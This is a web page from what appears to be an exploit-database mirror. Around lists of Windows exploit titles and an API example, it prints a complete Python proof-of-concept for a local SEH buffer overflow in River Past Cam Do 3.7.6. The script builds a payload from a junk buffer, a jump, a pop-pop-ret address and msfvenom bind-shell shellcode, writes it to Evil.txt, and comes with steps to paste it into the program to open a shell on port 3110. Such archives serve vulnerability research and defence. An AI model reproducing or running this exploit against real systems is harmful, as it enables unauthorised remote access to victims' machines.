Menu

Improved exploit search engine. Try it out

"River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH)"

Author

Achilles

Platform

windows

Release date

2019-02-11

Release Date Title Type Platform Author
2019-04-22 "LabF nfsAxe 3.7 Ping Client - 'Host IP' Buffer Overflow (Direct Ret)" local windows "Dino Covotsos"
2019-04-22 "Ease Audio Converter 5.30 - '.mp4' Denial of Service (PoC)" dos windows Achilles
2019-04-19 "Oracle Business Intelligence / XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - XML External Entity Injection" webapps windows "Vahagn Vardanyan"
2019-04-19 "Oracle Business Intelligence 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - Directory Traversal" webapps windows "Vahagn Vardanyan"
2019-04-18 "ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)" remote windows AkkuS
2019-04-17 "MailCarrier 2.51 - POP3 'RETR' SEH Buffer Overflow" remote windows "Dino Covotsos"
2019-04-17 "DHCP Server 2.5.2 - Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Zoho ManageEngine ADManager Plus 6.6 (Build < 6659) - Privilege Escalation" local windows "Digital Interruption"
2019-04-16 "AdminExpress 1.2.5 - 'Folder Path' Denial of Service (PoC)" dos windows "Mücahit İsmail Aktaş"
2019-04-16 "PCHelpWare V2 1.0.0.5 - 'Group' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-04-16 "PCHelpWare V2 1.0.0.5 - 'SC' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-04-15 "MailCarrier 2.51 - POP3 'TOP' SEH Buffer Overflow" remote windows "Dino Covotsos"
2019-04-15 "MailCarrier 2.51 - POP3 'LIST' SEH Buffer Overflow" remote windows "Dino Covotsos"
2019-04-15 "MailCarrier 2.51 - POP3 'USER' Buffer Overflow" remote windows "Dino Covotsos"
2019-04-15 "RemoteMouse 3.008 - Arbitrary Remote Command Execution" remote windows 0rphon
2019-04-15 "MailCarrier 2.51 - 'RCPT TO' Buffer Overflow" remote windows "Dino Covotsos"
2019-04-15 "UltraVNC Launcher 1.2.2.4 - 'Path' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-04-15 "UltraVNC Viewer 1.2.2.4 - 'VNC Server' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-04-12 "Microsoft Windows - Contact File Format Arbitary Code Execution (Metasploit)" local windows Metasploit
2019-04-12 "Microsoft Internet Explorer 11 - XML External Entity Injection" local windows hyp3rlinx
2019-04-12 "CyberArk EPM 10.2.1.603 - Security Restrictions Bypass" local windows "Alpcan Onaran"
2019-04-10 "FTPShell Server 6.83 - 'Virtual Path Mapping' Local Buffer" local windows "Dino Covotsos"
2019-04-10 "FTPShell Server 6.83 - 'Account name to ban' Local Buffer" local windows "Dino Covotsos"
Release Date Title Type Platform Author
2019-04-22 "Ease Audio Converter 5.30 - '.mp4' Denial of Service (PoC)" dos windows Achilles
2019-03-18 "WinAVI iPod/3GP/MP4/PSP Converter 4.4.2 - Denial of Service" dos windows Achilles
2019-03-18 "WinMPG Video Convert 9.3.5 - Denial of Service" dos windows Achilles
2019-02-11 "River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH)" local windows Achilles
2019-02-11 "FutureDj Pro 1.7.2.0 - Denial of Service" dos windows Achilles
2019-02-01 "PassFab Excel Password Recovery 8.3.1 - SEH Local Exploit" local windows Achilles
2019-02-05 "River Past Audio Converter 7.7.16 - Denial of Service (PoC)" dos windows Achilles
2019-02-04 "MyVideoConverter Pro 3.14 - Denial of Service" dos windows Achilles
2019-01-02 "EZ CD Audio Converter 8.0.7 - Denial of Service (PoC)" dos windows_x86-64 Achilles
2018-12-19 "PDF Explorer 1.5.66.2 - Buffer Overflow (SEH)" local windows Achilles
2018-12-19 "PassFab RAR 9.3.2 - Buffer Overflow (SEH)" local windows Achilles
2018-12-18 "Nsauditor 3.0.28.0 - Local SEH Buffer Overflow" local windows Achilles
2018-12-18 "MegaPing - Local Buffer Overflow Denial of Service" dos windows Achilles
2018-12-18 "Exel Password Recovery 8.2.0.0 - Local Buffer Overflow Denial of Service" dos windows Achilles
2018-12-18 "AnyBurn 4.3 - Local Buffer Overflow Denial of Service" dos windows Achilles
2018-08-03 "Wedding Slideshow Studio 1.36 - Buffer Overflow" local windows Achilles
2018-07-09 "Boxoft WAV to WMA Converter 1.0 - Local Buffer Overflow (SEH)" local windows Achilles
2018-05-09 "Allok Video Splitter 3.1.12.17 - Denial of Service" dos windows Achilles
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46335/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46335/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46335/40806/river-past-cam-do-376-local-buffer-overflow-seh/download/", "exploit_id": "46335", "exploit_description": "\"River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH)\"", "exploit_date": "2019-02-11", "exploit_author": "Achilles", "exploit_type": "local", "exploit_platform": "windows", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# Exploit Title: River Past CamDo SEH Local Exploit
# Date: 07.02.2019
# Vendor Homepage:www.riverpast.com
# Software Link:  https://en.softonic.com/download/river-past-cam-do/windows/post-download?sl=1
# Exploit Author: Achilles
# Tested Version: 3.7.6
# Tested on: Windows XP SP3 EN

# 1.- Run python code : CamDo.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open CamDo.exe and click on the 'Options' Inside fhe 'File' Menu.
# 4.- Paste the Content of EVIL.txt into the 'Lame_enc.dll' name field.
# 5.- Click 'OK' and you will have a bind shell port 3110.


#!/usr/bin/env python
import struct

buffer = "\x41" * 280
NSEH = "\xeb\x06\x90\x90" #jmp short 6
SEH =  struct.pack('<L',0x10010b0b) #pop pop ret rvddshow2.dll
nops = "\x90" * 20

#badchar \x00\x0a\x0d\x2f\
#msfvenom -p windows/shell_bind_tcp LPORT=3110  -a x86 -b '\x00\x0a\x0d\x2f'  -f python

shellcode = ("\xb8\x9c\x94\x39\x34\xdb\xda\xd9\x74\x24\xf4\x5a\x33"
"\xc9\xb1\x53\x31\x42\x12\x03\x42\x12\x83\x5e\x90\xdb"
"\xc1\xa2\x71\x99\x2a\x5a\x82\xfe\xa3\xbf\xb3\x3e\xd7"
"\xb4\xe4\x8e\x93\x98\x08\x64\xf1\x08\x9a\x08\xde\x3f"
"\x2b\xa6\x38\x0e\xac\x9b\x79\x11\x2e\xe6\xad\xf1\x0f"
"\x29\xa0\xf0\x48\x54\x49\xa0\x01\x12\xfc\x54\x25\x6e"
"\x3d\xdf\x75\x7e\x45\x3c\xcd\x81\x64\x93\x45\xd8\xa6"
"\x12\x89\x50\xef\x0c\xce\x5d\xb9\xa7\x24\x29\x38\x61"
"\x75\xd2\x97\x4c\xb9\x21\xe9\x89\x7e\xda\x9c\xe3\x7c"
"\x67\xa7\x30\xfe\xb3\x22\xa2\x58\x37\x94\x0e\x58\x94"
"\x43\xc5\x56\x51\x07\x81\x7a\x64\xc4\xba\x87\xed\xeb"
"\x6c\x0e\xb5\xcf\xa8\x4a\x6d\x71\xe9\x36\xc0\x8e\xe9"
"\x98\xbd\x2a\x62\x34\xa9\x46\x29\x51\x1e\x6b\xd1\xa1"
"\x08\xfc\xa2\x93\x97\x56\x2c\x98\x50\x71\xab\xdf\x4a"
"\xc5\x23\x1e\x75\x36\x6a\xe5\x21\x66\x04\xcc\x49\xed"
"\xd4\xf1\x9f\x98\xdc\x54\x70\xbf\x21\x26\x20\x7f\x89"
"\xcf\x2a\x70\xf6\xf0\x54\x5a\x9f\x99\xa8\x65\x93\x7f"
"\x24\x83\xc1\x6f\x60\x1b\x7d\x52\x57\x94\x1a\xad\xbd"
"\x8c\x8c\xe6\xd7\x0b\xb3\xf6\xfd\x3b\x23\x7d\x12\xf8"
"\x52\x82\x3f\xa8\x03\x15\xb5\x39\x66\x87\xca\x13\x10"
"\x24\x58\xf8\xe0\x23\x41\x57\xb7\x64\xb7\xae\x5d\x99"
"\xee\x18\x43\x60\x76\x62\xc7\xbf\x4b\x6d\xc6\x32\xf7"
"\x49\xd8\x8a\xf8\xd5\x8c\x42\xaf\x83\x7a\x25\x19\x62"
"\xd4\xff\xf6\x2c\xb0\x86\x34\xef\xc6\x86\x10\x99\x26"
"\x36\xcd\xdc\x59\xf7\x99\xe8\x22\xe5\x39\x16\xf9\xad"
"\x4a\x5d\xa3\x84\xc2\x38\x36\x95\x8e\xba\xed\xda\xb6"
"\x38\x07\xa3\x4c\x20\x62\xa6\x09\xe6\x9f\xda\x02\x83"
"\x9f\x49\x22\x86")


payload = buffer + NSEH + SEH + nops + shellcode


try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(payload)
	f.write(payload)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"